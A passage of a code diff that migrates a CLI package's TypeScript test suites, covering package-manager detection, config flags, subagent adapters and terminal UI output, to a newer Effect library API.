10 const testLayer = Layer.provideMerge(JsPackageManagerDetector.Default, BunFileSystem.layer);
11
12 layer(testLayer)(it => {
13 - it.scoped('should detect pnpm from lock file', () =>
13 + it.effect('should detect pnpm from lock file', () =>
14 Effect.gen(function* () {
15 const fs = yield* FileSystem.FileSystem;
16 const detector = yield* JsPackageManagerDetector;
@@ -24,7 +24,7 @@ describe('JsPackageManagerDetector', () => {
24 })
25 );
26
27 - it.scoped('should detect bun from lock file', () =>
27 + it.effect('should detect bun from lock file', () =>
28 Effect.gen(function* () {
29 const fs = yield* FileSystem.FileSystem;
30 const detector = yield* JsPackageManagerDetector;
@@ -38,7 +38,7 @@ describe('JsPackageManagerDetector', () => {
38 })
39 );
40
41 - it.scoped('should detect yarn from lock file', () =>
41 + it.effect('should detect yarn from lock file', () =>
42 Effect.gen(function* () {
43 const fs = yield* FileSystem.FileSystem;
44 const detector = yield* JsPackageManagerDetector;
@@ -52,7 +52,7 @@ describe('JsPackageManagerDetector', () => {
52 })
53 );
54
55 - it.scoped('should detect npm from lock file', () =>
55 + it.effect('should detect npm from lock file', () =>
56 Effect.gen(function* () {
57 const fs = yield* FileSystem.FileSystem;
58 const detector = yield* JsPackageManagerDetector;
@@ -66,7 +66,7 @@ describe('JsPackageManagerDetector', () => {
66 })
67 );
68
69 - it.scoped('should detect from package.json if no lock file is present', () =>
69 + it.effect('should detect from package.json if no lock file is present', () =>
70 Effect.gen(function* () {
71 const fs = yield* FileSystem.FileSystem;
72 const detector = yield* JsPackageManagerDetector;
@@ -83,7 +83,7 @@ describe('JsPackageManagerDetector', () => {
83 })
84 );
85
86 - it.scoped('should detect recursively from parent directory', () =>
86 + it.effect('should detect recursively from parent directory', () =>
87 Effect.gen(function* () {
88 const fs = yield* FileSystem.FileSystem;
89 const detector = yield* JsPackageManagerDetector;
ts/packages/cli/test/src/services/native-ui-sidecar.test.ts
+11 -14
@@ -1,7 +1,6 @@
1 import { describe, expect, it } from '@effect/vitest';
2 -import * as CommandExecutor from '@effect/platform/CommandExecutor';
3 -import * as PlatformError from '@effect/platform/Error';
4 -import { ConfigProvider, Effect, Layer } from 'effect';
2 +import { ChildProcessSpawner } from 'effect/unstable/process';
3 +import { ConfigProvider, Effect, Layer, PlatformError } from 'effect';
4 import {
5 detectNativeUiCallerAgentEffect,
6 interactivePermissionUiDisabledConfig,
@@ -9,12 +8,12 @@ import {
8 import { UNPREFIXED_CONFIG } from 'src/effects/app-config';
9
10 const loadFlag = (entries: Record<string, string>) =>
12 - ConfigProvider.fromMap(new Map(Object.entries(entries))).load(
13 - interactivePermissionUiDisabledConfig
11 + interactivePermissionUiDisabledConfig.pipe(
12 + Effect.provideService(ConfigProvider.ConfigProvider, ConfigProvider.fromEnv({ env: entries }))
13 );
14
16 -const executorLayer = (start: Parameters<typeof CommandExecutor.makeExecutor>[0]) =>
17 - Layer.succeed(CommandExecutor.CommandExecutor, CommandExecutor.makeExecutor(start));
15 +const executorLayer = (spawn: Parameters<typeof ChildProcessSpawner.make>[0]) =>
16 + Layer.succeed(ChildProcessSpawner.ChildProcessSpawner, ChildProcessSpawner.make(spawn));
17
18 // Environment-based detection must resolve before `ps` is ever spawned.
19 const processTreeMustNotRun = executorLayer(() =>
@@ -23,19 +22,17 @@ const processTreeMustNotRun = executorLayer(() =>
22
23 // Spawn failures during the process-tree walk resolve to the default agent.
24 const processTreeUnavailable = executorLayer(() =>
26 - Effect.fail(
27 - new PlatformError.SystemError({ reason: 'NotFound', module: 'Command', method: 'spawn' })
28 - )
25 + Effect.fail(PlatformError.systemError({ _tag: 'NotFound', module: 'Command', method: 'spawn' }))
26 );
27
28 const detectAgent = (
29 env: Record<string, string>,
33 - layer: Layer.Layer<CommandExecutor.CommandExecutor>
30 + layer: Layer.Layer<ChildProcessSpawner.ChildProcessSpawner>
31 ) =>
32 Effect.gen(function* () {
36 - const signals = yield* ConfigProvider.fromMap(new Map(Object.entries(env)), {
37 - pathDelim: '_',
38 - }).load(UNPREFIXED_CONFIG.CALLER_AGENT_SIGNALS);
33 + const signals = yield* UNPREFIXED_CONFIG.CALLER_AGENT_SIGNALS.pipe(
34 + Effect.provideService(ConfigProvider.ConfigProvider, ConfigProvider.fromEnv({ env }))
35 + );
36 return yield* detectNativeUiCallerAgentEffect(signals);
37 }).pipe(Effect.provide(layer));
38
ts/packages/cli/test/src/services/plugin-hint.test.ts
+12 -3
@@ -100,7 +100,10 @@ describe('resolvePluginHintConfig', () => {
100 expect(config.host).toBe('claude');
101 expect(config.commandName).toBe('version');
102 }).pipe(
103 - Effect.withConfigProvider(extendConfigProvider(ConfigProvider.fromEnv())),
103 + Effect.provideService(
104 + ConfigProvider.ConfigProvider,
105 + extendConfigProvider(ConfigProvider.fromEnv())
106 + ),
107 Effect.provide(
108 Layer.merge(PlatformLayers, Layer.succeed(NodeOs, defaultNodeOs({ homedir: tempDir })))
109 )
@@ -119,7 +122,10 @@ describe('resolvePluginHintConfig', () => {
122 );
123 expect(config.codexConfigFile).toBe(join(tempDir, '.codex', 'config.toml'));
124 }).pipe(
122 - Effect.withConfigProvider(extendConfigProvider(ConfigProvider.fromEnv())),
125 + Effect.provideService(
126 + ConfigProvider.ConfigProvider,
127 + extendConfigProvider(ConfigProvider.fromEnv())
128 + ),
129 Effect.provide(
130 Layer.merge(PlatformLayers, Layer.succeed(NodeOs, defaultNodeOs({ homedir: tempDir })))
131 )
@@ -140,7 +146,10 @@ describe('resolvePluginHintConfig', () => {
146 );
147 expect(config.codexConfigFile).toBe(join(codexHome, 'config.toml'));
148 }).pipe(
143 - Effect.withConfigProvider(extendConfigProvider(ConfigProvider.fromEnv())),
149 + Effect.provideService(
150 + ConfigProvider.ConfigProvider,
151 + extendConfigProvider(ConfigProvider.fromEnv())
152 + ),
153 Effect.provide(
154 Layer.merge(PlatformLayers, Layer.succeed(NodeOs, defaultNodeOs({ homedir: tempDir })))
155 )
ts/packages/cli/test/src/services/project-environment-detector.test.ts
+30 -30
@@ -2,8 +2,8 @@ import path from 'node:path';
2 import * as tempy from 'tempy';
3 import { describe, expect, layer, assert } from '@effect/vitest';
4 import { beforeAll, afterAll } from 'vitest';
5 -import { Effect, Layer, Either } from 'effect';
6 -import * as FileSystem from '@effect/platform/FileSystem';
5 +import { Effect, Layer, Result } from 'effect';
6 +import * as FileSystem from 'effect/FileSystem';
7 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
8 import {
9 ProjectEnvironmentDetector,
@@ -15,7 +15,7 @@ const testLayer = Layer.provideMerge(ProjectEnvironmentDetector.Default, BunFile
15 const writeFile = (fs: FileSystem.FileSystem, filePath: string, content: string) =>
16 Effect.gen(function* () {
17 const dir = path.dirname(filePath);
18 - yield* fs.makeDirectory(dir, { recursive: true }).pipe(Effect.catchAll(() => Effect.void));
18 + yield* fs.makeDirectory(dir, { recursive: true }).pipe(Effect.catch(() => Effect.void));
19 yield* fs.writeFileString(filePath, content);
20 });
21
@@ -39,7 +39,7 @@ describe('ProjectEnvironmentDetector', () => {
39 // -- TypeScript detection --
40
41 layer(testLayer)('TypeScript detection', it => {
42 - it.scoped('[Given] package.json + tsconfig.json [Then] detects typescript + npm', () =>
42 + it.effect('[Given] package.json + tsconfig.json [Then] detects typescript + npm', () =>
43 Effect.gen(function* () {
44 const fs = yield* FileSystem.FileSystem;
45 const detector = yield* ProjectEnvironmentDetector;
@@ -57,7 +57,7 @@ describe('ProjectEnvironmentDetector', () => {
57 })
58 );
59
60 - it.scoped(
60 + it.effect(
61 '[Given] pnpm-lock.yaml + package.json with packageManager:pnpm@ [Then] detects typescript + pnpm',
62 () =>
63 Effect.gen(function* () {
@@ -85,7 +85,7 @@ describe('ProjectEnvironmentDetector', () => {
85 })
86 );
87
88 - it.scoped('[Given] bun.lockb [Then] detects js + bun', () =>
88 + it.effect('[Given] bun.lockb [Then] detects js + bun', () =>
89 Effect.gen(function* () {
90 const fs = yield* FileSystem.FileSystem;
91 const detector = yield* ProjectEnvironmentDetector;
@@ -101,7 +101,7 @@ describe('ProjectEnvironmentDetector', () => {
101 })
102 );
103
104 - it.scoped('[Given] bun.lock (text format) [Then] detects bun', () =>
104 + it.effect('[Given] bun.lock (text format) [Then] detects bun', () =>
105 Effect.gen(function* () {
106 const fs = yield* FileSystem.FileSystem;
107 const detector = yield* ProjectEnvironmentDetector;
@@ -117,7 +117,7 @@ describe('ProjectEnvironmentDetector', () => {
117 })
118 );
119
120 - it.scoped('[Given] package.json with typescript dep [Then] detects typescript', () =>
120 + it.effect('[Given] package.json with typescript dep [Then] detects typescript', () =>
121 Effect.gen(function* () {
122 const fs = yield* FileSystem.FileSystem;
123 const detector = yield* ProjectEnvironmentDetector;
@@ -136,7 +136,7 @@ describe('ProjectEnvironmentDetector', () => {
136 })
137 );
138
139 - it.scoped('[Given] monorepo root with pnpm-workspace.yaml [Then] detects pnpm', () =>
139 + it.effect('[Given] monorepo root with pnpm-workspace.yaml [Then] detects pnpm', () =>
140 Effect.gen(function* () {
141 const fs = yield* FileSystem.FileSystem;
142 const detector = yield* ProjectEnvironmentDetector;
@@ -165,7 +165,7 @@ describe('ProjectEnvironmentDetector', () => {
165 // -- Python detection --
166
167 layer(testLayer)('Python detection', it => {
168 - it.scoped('[Given] pyproject.toml with [tool.uv] + uv.lock [Then] detects python + uv', () =>
168 + it.effect('[Given] pyproject.toml with [tool.uv] + uv.lock [Then] detects python + uv', () =>
169 Effect.gen(function* () {
170 const fs = yield* FileSystem.FileSystem;
171 const detector = yield* ProjectEnvironmentDetector;
@@ -186,7 +186,7 @@ describe('ProjectEnvironmentDetector', () => {
186 })
187 );
188
189 - it.scoped('[Given] requirements.txt only [Then] detects python + pip', () =>
189 + it.effect('[Given] requirements.txt only [Then] detects python + pip', () =>
190 Effect.gen(function* () {
191 const fs = yield* FileSystem.FileSystem;
192 const detector = yield* ProjectEnvironmentDetector;
@@ -202,7 +202,7 @@ describe('ProjectEnvironmentDetector', () => {
202 })
203 );
204
205 - it.scoped('[Given] setup.py only [Then] detects python + pip', () =>
205 + it.effect('[Given] setup.py only [Then] detects python + pip', () =>
206 Effect.gen(function* () {
207 const fs = yield* FileSystem.FileSystem;
208 const detector = yield* ProjectEnvironmentDetector;
@@ -225,7 +225,7 @@ describe('ProjectEnvironmentDetector', () => {
225 // -- Ambiguity --
226
227 layer(testLayer)('Ambiguity handling', it => {
228 - it.scoped(
228 + it.effect(
229 '[Given] both package.json + pyproject.toml at CWD [Then] fails with ambiguity error',
230 () =>
231 Effect.gen(function* () {
@@ -237,11 +237,11 @@ describe('ProjectEnvironmentDetector', () => {
237 yield* writeFile(fs, path.join(cwd, 'pyproject.toml'), '[project]\nname = "test"');
238 yield* writeFile(fs, path.join(cwd, 'requirements.txt'), 'composio');
239
240 - const result = yield* detector.detectProjectEnvironment(cwd).pipe(Effect.either);
240 + const result = yield* detector.detectProjectEnvironment(cwd).pipe(Effect.result);
241
242 - assert(Either.isLeft(result));
243 - expect(result.left).toBeInstanceOf(ProjectEnvironmentDetectorError);
244 - expect(result.left.message).toContain('both');
242 + assert(Result.isFailure(result));
243 + expect(result.failure).toBeInstanceOf(ProjectEnvironmentDetectorError);
244 + expect(result.failure.message).toContain('both');
245 })
246 );
247 });
@@ -249,7 +249,7 @@ describe('ProjectEnvironmentDetector', () => {
249 // -- Edge cases --
250
251 layer(testLayer)('Edge cases', it => {
252 - it.scoped('[Given] empty directory [Then] fails with no-detection error', () =>
252 + it.effect('[Given] empty directory [Then] fails with no-detection error', () =>
253 Effect.gen(function* () {
254 const fs = yield* FileSystem.FileSystem;
255 const detector = yield* ProjectEnvironmentDetector;
@@ -257,14 +257,14 @@ describe('ProjectEnvironmentDetector', () => {
257 const emptyDir = path.join(tempRoot, 'a', 'b', 'c');
258 yield* fs.makeDirectory(emptyDir, { recursive: true });
259
260 - const result = yield* detector.detectProjectEnvironment(emptyDir).pipe(Effect.either);
260 + const result = yield* detector.detectProjectEnvironment(emptyDir).pipe(Effect.result);
261
262 - assert(Either.isLeft(result));
263 - expect(result.left.message).toContain('No recognizable');
262 + assert(Result.isFailure(result));
263 + expect(result.failure.message).toContain('No recognizable');
264 })
265 );
266
267 - it.scoped('[Given] indicators at parent directory [Then] detects from parent', () =>
267 + it.effect('[Given] indicators at parent directory [Then] detects from parent', () =>
268 Effect.gen(function* () {
269 const fs = yield* FileSystem.FileSystem;
270 const detector = yield* ProjectEnvironmentDetector;
@@ -294,7 +294,7 @@ describe('ProjectEnvironmentDetector', () => {
294
295 describe('detectJsPackageManager', () => {
296 layer(testLayer)('JS package manager detection', it => {
297 - it.scoped('[Given] packageManager field in package.json [Then] uses that', () =>
297 + it.effect('[Given] packageManager field in package.json [Then] uses that', () =>
298 Effect.gen(function* () {
299 const fs = yield* FileSystem.FileSystem;
300 const detector = yield* ProjectEnvironmentDetector;
@@ -311,7 +311,7 @@ describe('ProjectEnvironmentDetector', () => {
311 })
312 );
313
314 - it.scoped('[Given] lock file present [Then] detects from lock file', () =>
314 + it.effect('[Given] lock file present [Then] detects from lock file', () =>
315 Effect.gen(function* () {
316 const fs = yield* FileSystem.FileSystem;
317 const detector = yield* ProjectEnvironmentDetector;
@@ -325,7 +325,7 @@ describe('ProjectEnvironmentDetector', () => {
325 })
326 );
327
328 - it.scoped('[Given] no lock file, no packageManager field [Then] defaults to npm', () =>
328 + it.effect('[Given] no lock file, no packageManager field [Then] defaults to npm', () =>
329 Effect.gen(function* () {
330 const detector = yield* ProjectEnvironmentDetector;
331 const cwd = tempy.temporaryDirectory();
@@ -335,7 +335,7 @@ describe('ProjectEnvironmentDetector', () => {
335 })
336 );
337
338 - it.scoped(
338 + it.effect(
339 '[Given] no lock file, no packageManager field, but npm_config_user_agent=pnpm [Then] detects pnpm',
340 () =>
341 Effect.gen(function* () {
@@ -352,7 +352,7 @@ describe('ProjectEnvironmentDetector', () => {
352 })
353 );
354
355 - it.scoped(
355 + it.effect(
356 '[Given] no lock file, no packageManager field, but npm_config_user_agent=bun [Then] detects bun',
357 () =>
358 Effect.gen(function* () {
@@ -375,7 +375,7 @@ describe('ProjectEnvironmentDetector', () => {
375
376 describe('detectPythonPackageManager', () => {
377 layer(testLayer)('Python package manager detection', it => {
378 - it.scoped('[Given] uv.lock present [Then] detects uv', () =>
378 + it.effect('[Given] uv.lock present [Then] detects uv', () =>
379 Effect.gen(function* () {
380 const fs = yield* FileSystem.FileSystem;
381 const detector = yield* ProjectEnvironmentDetector;
@@ -388,7 +388,7 @@ describe('ProjectEnvironmentDetector', () => {
388 })
389 );
390
391 - it.scoped('[Given] [tool.uv] in pyproject.toml [Then] detects uv', () =>
391 + it.effect('[Given] [tool.uv] in pyproject.toml [Then] detects uv', () =>
392 Effect.gen(function* () {
393 const fs = yield* FileSystem.FileSystem;
394 const detector = yield* ProjectEnvironmentDetector;
@@ -405,7 +405,7 @@ describe('ProjectEnvironmentDetector', () => {
405 })
406 );
407
408 - it.scoped('[Given] no uv indicators [Then] defaults to pip', () =>
408 + it.effect('[Given] no uv indicators [Then] defaults to pip', () =>
409 Effect.gen(function* () {
410 const fs = yield* FileSystem.FileSystem;
411 const detector = yield* ProjectEnvironmentDetector;
ts/packages/cli/test/src/services/run-companion-modules.test.ts
+13 -7
@@ -1,9 +1,9 @@
1 import * as fs from 'node:fs';
2 import * as os from 'node:os';
3 import * as path from 'node:path';
4 -import * as BunContext from '@effect/platform-bun/BunContext';
4 +import * as BunServices from '@effect/platform-bun/BunServices';
5 import { afterEach, describe, expect, it, layer } from '@effect/vitest';
6 -import { Effect } from 'effect';
6 +import { ConfigProvider, Effect } from 'effect';
7 import { vi } from 'vitest';
8 import {
9 hostRunCompanionStaticAssetRelativePaths,
@@ -17,7 +17,7 @@ import {
17 RUN_COMPANION_SHARED_STATIC_ASSET_RELATIVE_PATHS,
18 runCompanionStaticAssetRelativePathsFor,
19 } from 'src/services/run-companion-modules';
20 -import { BaseConfigProviderLive, extendConfigProvider } from 'src/services/config';
20 +import { getBaseConfigProvider, extendConfigProvider } from 'src/services/config';
21
22 const extractZipMock = vi.hoisted(() => vi.fn());
23 vi.mock('extract-zip', () => ({ default: extractZipMock }));
@@ -97,7 +97,7 @@ describe('run-companion-modules', () => {
97 });
98 });
99
100 - layer(BunContext.layer)(it => {
100 + layer(BunServices.layer)(it => {
101 it.effect(
102 "[Given] an install lacking another platform's codex-acp binary [Then] nothing needs repair",
103 () =>
@@ -324,7 +324,10 @@ describe('run-companion-modules', () => {
324 }).pipe(
325 // Simulate the cli-main runtime, whose provider rewrites config keys
326 // to their COMPOSIO_-prefixed spelling.
327 - Effect.withConfigProvider(extendConfigProvider(BaseConfigProviderLive)),
327 + Effect.provideService(
328 + ConfigProvider.ConfigProvider,
329 + extendConfigProvider(getBaseConfigProvider())
330 + ),
331 Effect.ensuring(
332 Effect.sync(() => fs.rmSync(installDirectory, { recursive: true, force: true }))
333 )
@@ -365,7 +368,10 @@ describe('run-companion-modules', () => {
368 'https://prefixed-proxy.test/repos/ComposioHQ/composio/releases/tags/%40composio%2Fcli%408.8.8-test'
369 );
370 }).pipe(
368 - Effect.withConfigProvider(extendConfigProvider(BaseConfigProviderLive)),
371 + Effect.provideService(
372 + ConfigProvider.ConfigProvider,
373 + extendConfigProvider(getBaseConfigProvider())
374 + ),
375 Effect.ensuring(
376 Effect.sync(() => fs.rmSync(installDirectory, { recursive: true, force: true }))
377 )
@@ -382,7 +388,7 @@ describe('run-companion-modules', () => {
388 * never be handed back as a runnable adapter.
389 */
390 describe('resolveRunCompanionAssetPath', () => {
385 - layer(BunContext.layer)(it => {
391 + layer(BunServices.layer)(it => {
392 const withInstallDirectory = <A, E, R>(
393 contents: number,
394 use: (execPath: string) => Effect.Effect<A, E, R>
ts/packages/cli/test/src/services/run-subagent-acp.test.ts
+6 -6
@@ -2,7 +2,7 @@ import * as fs from 'node:fs';
2 import * as os from 'node:os';
3 import * as path from 'node:path';
4 import { Readable } from 'node:stream';
5 -import * as BunContext from '@effect/platform-bun/BunContext';
5 +import * as BunServices from '@effect/platform-bun/BunServices';
6 import { Effect } from 'effect';
7 import { afterEach, describe, expect, it, vi } from '@effect/vitest';
8 import {
@@ -50,7 +50,7 @@ describe('run-subagent-acp', () => {
50 expect(result.source).toBe('bundled');
51 expect(result.cmd[0]).toBe(process.execPath);
52 expect(result.cmd[1]).toMatch(/claude-code-acp/);
53 - }).pipe(Effect.provide(BunContext.layer))
53 + }).pipe(Effect.provide(BunServices.layer))
54 );
55
56 it.effect('[Given] bundled codex adapter [Then] it resolves to the bundled path', () =>
@@ -59,7 +59,7 @@ describe('run-subagent-acp', () => {
59 expect(result.source).toBe('bundled');
60 expect(result.cmd[0]).toBe(process.execPath);
61 expect(result.cmd[1]).toMatch(/codex-acp/);
62 - }).pipe(Effect.provide(BunContext.layer))
62 + }).pipe(Effect.provide(BunServices.layer))
63 );
64
65 it.effect(
@@ -84,7 +84,7 @@ describe('run-subagent-acp', () => {
84 Effect.sync(() => fs.rmSync(installDirectory, { recursive: true, force: true }))
85 )
86 );
87 - }).pipe(Effect.provide(BunContext.layer))
87 + }).pipe(Effect.provide(BunServices.layer))
88 );
89
90 it.effect(
@@ -114,7 +114,7 @@ describe('run-subagent-acp', () => {
114 Effect.sync(() => fs.rmSync(installDirectory, { recursive: true, force: true }))
115 )
116 );
117 - }).pipe(Effect.provide(BunContext.layer))
117 + }).pipe(Effect.provide(BunServices.layer))
118 );
119
120 it('[Given] an ACP invoke error [Then] it is classified for fallback', () => {
@@ -345,6 +345,6 @@ describe('run-subagent-acp', () => {
345 );
346
347 yield* context!.cleanup;
348 - }).pipe(Effect.provide(BunContext.layer))
348 + }).pipe(Effect.provide(BunServices.layer))
349 );
350 });
ts/packages/cli/test/src/services/running-cli-version.test.ts
+5 -5
@@ -1,5 +1,5 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import * as Path from 'effect/Path';
3 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
4 import * as BunPath from '@effect/platform-bun/BunPath';
5 import { describe, expect, layer } from '@effect/vitest';
@@ -14,7 +14,7 @@ const TestPlatform = Layer.mergeAll(BunFileSystem.layer, BunPath.layer);
14
15 describe('running CLI version authority', () => {
16 layer(TestPlatform)(it => {
17 - it.scoped('uses the compiled version in release builds despite installed tag metadata', () =>
17 + it.effect('uses the compiled version in release builds despite installed tag metadata', () =>
18 Effect.gen(function* () {
19 const fs = yield* FileSystem.FileSystem;
20 const path = yield* Path.Path;
@@ -35,7 +35,7 @@ describe('running CLI version authority', () => {
35 })
36 );
37
38 - it.scoped('uses the compiled version in a release build without installed metadata', () =>
38 + it.effect('uses the compiled version in a release build without installed metadata', () =>
39 Effect.gen(function* () {
40 const fs = yield* FileSystem.FileSystem;
41 const path = yield* Path.Path;
@@ -49,7 +49,7 @@ describe('running CLI version authority', () => {
49 })
50 );
51
52 - it.scoped('keeps installed tag fallback behavior in development builds', () =>
52 + it.effect('keeps installed tag fallback behavior in development builds', () =>
53 Effect.gen(function* () {
54 const fs = yield* FileSystem.FileSystem;
55 const path = yield* Path.Path;
ts/packages/cli/test/src/services/runtime-debug-logger.test.ts
+13 -12
@@ -9,12 +9,10 @@ import {
9 import { extendConfigProvider } from 'src/services/config';
10 import { MockConsole, TestLive } from 'test/__utils__';
11
12 -const configuredDebugFlags = ConfigProvider.fromMap(
13 - new Map([
14 - ['COMPOSIO_PERF_DEBUG', '1'],
15 - ['COMPOSIO_TOOL_DEBUG', '1'],
16 - ])
17 -).pipe(extendConfigProvider);
12 +const configuredDebugFlags = ConfigProvider.fromEnvRecord({
13 + COMPOSIO_PERF_DEBUG: '1',
14 + COMPOSIO_TOOL_DEBUG: '1',
15 +}).pipe(extendConfigProvider);
16
17 const withDebugFlags = (overrides: Partial<CliDebugFlagOverrides>) =>
18 Effect.provide(cliDebugFlagsLayer({ ...NO_CLI_DEBUG_FLAG_OVERRIDES, ...overrides }));
@@ -25,7 +23,7 @@ describe('runtime debug logger', () => {
23 });
24
25 layer(TestLive())(it => {
28 - it.scoped('writes tool diagnostics as the existing JSON line format', () =>
26 + it.effect('writes tool diagnostics as the existing JSON line format', () =>
27 Effect.gen(function* () {
28 yield* logToolDebug('resolved', { slug: 'GITHUB_GET_REPO' });
29
@@ -35,7 +33,7 @@ describe('runtime debug logger', () => {
33 }).pipe(withDebugFlags({ toolDebug: true }))
34 );
35
38 - it.scoped('writes performance diagnostics with elapsed time', () =>
36 + it.effect('writes performance diagnostics with elapsed time', () =>
37 Effect.gen(function* () {
38 vi.spyOn(Date, 'now').mockReturnValue(125);
39 const logPerfDebug = makePerfDebugLogger(100);
@@ -48,7 +46,7 @@ describe('runtime debug logger', () => {
46 }).pipe(withDebugFlags({ perfDebug: true }))
47 );
48
51 - it.scoped('writes diagnostics enabled through app config', () =>
49 + it.effect('writes diagnostics enabled through app config', () =>
50 Effect.gen(function* () {
51 vi.spyOn(Date, 'now').mockReturnValue(125);
52
@@ -60,10 +58,13 @@ describe('runtime debug logger', () => {
58 expect(lines).toContain(
59 '[perf] {"phase":"event","label":"configured-perf","elapsedMs":25}'
60 );
63 - }).pipe(withDebugFlags({}), Effect.withConfigProvider(configuredDebugFlags))
61 + }).pipe(
62 + withDebugFlags({}),
63 + Effect.provideService(ConfigProvider.ConfigProvider, configuredDebugFlags)
64 + )
65 );
66
66 - it.scoped('lets explicit false flags override enabled app config', () =>
67 + it.effect('lets explicit false flags override enabled app config', () =>
68 Effect.gen(function* () {
69 const existingLineCount = (yield* MockConsole.getLines()).length;
70
@@ -73,7 +74,7 @@ describe('runtime debug logger', () => {
74 expect((yield* MockConsole.getLines()).slice(existingLineCount)).toEqual([]);
75 }).pipe(
76 withDebugFlags({ perfDebug: false, toolDebug: false }),
76 - Effect.withConfigProvider(configuredDebugFlags)
77 + Effect.provideService(ConfigProvider.ConfigProvider, configuredDebugFlags)
78 )
79 );
80 });
ts/packages/cli/test/src/services/runtime-flags.test.ts
+7 -9
@@ -72,13 +72,11 @@ describe('stripTelemetryDebugFlag', () => {
72 });
73 });
74
75 -const enabledDebugConfig = ConfigProvider.fromMap(
76 - new Map([
77 - ['COMPOSIO_PERF_DEBUG', '1'],
78 - ['COMPOSIO_TOOL_DEBUG', '1'],
79 - ['COMPOSIO_RUN_ACP_ONLY', '1'],
80 - ])
81 -).pipe(extendConfigProvider);
75 +const enabledDebugConfig = ConfigProvider.fromEnvRecord({
76 + COMPOSIO_PERF_DEBUG: '1',
77 + COMPOSIO_TOOL_DEBUG: '1',
78 + COMPOSIO_RUN_ACP_ONLY: '1',
79 +}).pipe(extendConfigProvider);
80
81 const readAllDebugFlags = Effect.all({
82 perfDebug: isPerfDebugEnabled,
@@ -97,7 +95,7 @@ describe('debug flag precedence', () => {
95 });
96 }).pipe(
97 Effect.provide(cliDebugFlagsLayer(NO_CLI_DEBUG_FLAG_OVERRIDES)),
100 - Effect.withConfigProvider(enabledDebugConfig)
98 + Effect.provideService(ConfigProvider.ConfigProvider, enabledDebugConfig)
99 )
100 );
101
@@ -110,7 +108,7 @@ describe('debug flag precedence', () => {
108 });
109 }).pipe(
110 Effect.provide(cliDebugFlagsLayer({ perfDebug: false, toolDebug: false, acpOnly: false })),
113 - Effect.withConfigProvider(enabledDebugConfig)
111 + Effect.provideService(ConfigProvider.ConfigProvider, enabledDebugConfig)
112 )
113 );
114 });
ts/packages/cli/test/src/services/setup-skill-installer.test.ts
+3 -4
@@ -1,7 +1,6 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as HttpClient from '@effect/platform/HttpClient';
3 -import * as HttpClientResponse from '@effect/platform/HttpClientResponse';
4 -import * as Path from '@effect/platform/Path';
1 +import * as FileSystem from 'effect/FileSystem';
2 +import { HttpClient, HttpClientResponse } from 'effect/unstable/http';
3 +import * as Path from 'effect/Path';
4 import * as BunFileSystem from '@effect/platform-bun/BunFileSystem';
5 import * as BunPath from '@effect/platform-bun/BunPath';
6 import { describe, expect, layer } from '@effect/vitest';
ts/packages/cli/test/src/services/terminal-ui.test.ts
+16 -16
@@ -384,7 +384,7 @@ describe('TerminalUI', () => {
384 // Data output
385 // -----------------------------------------------------------------------
386
387 - it.scoped('output writes raw data capturable by MockConsole', () =>
387 + it.effect('output writes raw data capturable by MockConsole', () =>
388 Effect.gen(function* () {
389 const ui = yield* TerminalUI;
390 yield* ui.output('ak_test123');
@@ -394,7 +394,7 @@ describe('TerminalUI', () => {
394 })
395 );
396
397 - it.scoped('error writes raw diagnostics capturable by MockConsole', () =>
397 + it.effect('error writes raw diagnostics capturable by MockConsole', () =>
398 Effect.gen(function* () {
399 const ui = yield* TerminalUI;
400 yield* ui.error('diagnostic');
@@ -408,7 +408,7 @@ describe('TerminalUI', () => {
408 // Log text capture
409 // -----------------------------------------------------------------------
410
411 - it.scoped('log.info writes text capturable by MockConsole', () =>
411 + it.effect('log.info writes text capturable by MockConsole', () =>
412 Effect.gen(function* () {
413 const ui = yield* TerminalUI;
414 yield* ui.log.info('hello from info');
@@ -418,7 +418,7 @@ describe('TerminalUI', () => {
418 })
419 );
420
421 - it.scoped('log.success writes text capturable by MockConsole', () =>
421 + it.effect('log.success writes text capturable by MockConsole', () =>
422 Effect.gen(function* () {
423 const ui = yield* TerminalUI;
424 yield* ui.log.success('operation succeeded');
@@ -428,7 +428,7 @@ describe('TerminalUI', () => {
428 })
429 );
430
431 - it.scoped('log.warn writes text capturable by MockConsole', () =>
431 + it.effect('log.warn writes text capturable by MockConsole', () =>
432 Effect.gen(function* () {
433 const ui = yield* TerminalUI;
434 yield* ui.log.warn('something is off');
@@ -438,7 +438,7 @@ describe('TerminalUI', () => {
438 })
439 );
440
441 - it.scoped('log.error writes text capturable by MockConsole', () =>
441 + it.effect('log.error writes text capturable by MockConsole', () =>
442 Effect.gen(function* () {
443 const ui = yield* TerminalUI;
444 yield* ui.log.error('something broke');
@@ -448,7 +448,7 @@ describe('TerminalUI', () => {
448 })
449 );
450
451 - it.scoped('log.step writes text capturable by MockConsole', () =>
451 + it.effect('log.step writes text capturable by MockConsole', () =>
452 Effect.gen(function* () {
453 const ui = yield* TerminalUI;
454 yield* ui.log.step('step completed');
@@ -458,7 +458,7 @@ describe('TerminalUI', () => {
458 })
459 );
460
461 - it.scoped('note writes title and message capturable by MockConsole', () =>
461 + it.effect('note writes title and message capturable by MockConsole', () =>
462 Effect.gen(function* () {
463 const ui = yield* TerminalUI;
464 yield* ui.note('api_key_123', 'API Key');
@@ -470,7 +470,7 @@ describe('TerminalUI', () => {
470 })
471 );
472
473 - it.scoped('intro and outro write text capturable by MockConsole', () =>
473 + it.effect('intro and outro write text capturable by MockConsole', () =>
474 Effect.gen(function* () {
475 const ui = yield* TerminalUI;
476 yield* ui.intro('my command');
@@ -487,7 +487,7 @@ describe('TerminalUI', () => {
487 // withSpinner lifecycle
488 // -----------------------------------------------------------------------
489
490 - it.scoped('withSpinner captures success message', () =>
490 + it.effect('withSpinner captures success message', () =>
491 Effect.gen(function* () {
492 const ui = yield* TerminalUI;
493 const result = yield* ui.withSpinner('loading', Effect.succeed(42), {
@@ -500,7 +500,7 @@ describe('TerminalUI', () => {
500 })
501 );
502
503 - it.scoped('withSpinner propagates errors', () =>
503 + it.effect('withSpinner propagates errors', () =>
504 Effect.gen(function* () {
505 const ui = yield* TerminalUI;
506 const exit = yield* Effect.exit(
@@ -515,7 +515,7 @@ describe('TerminalUI', () => {
515 // useMakeSpinner — auto-cleanup on error
516 // -----------------------------------------------------------------------
517
518 - it.scoped('useMakeSpinner auto-stops spinner on error', () =>
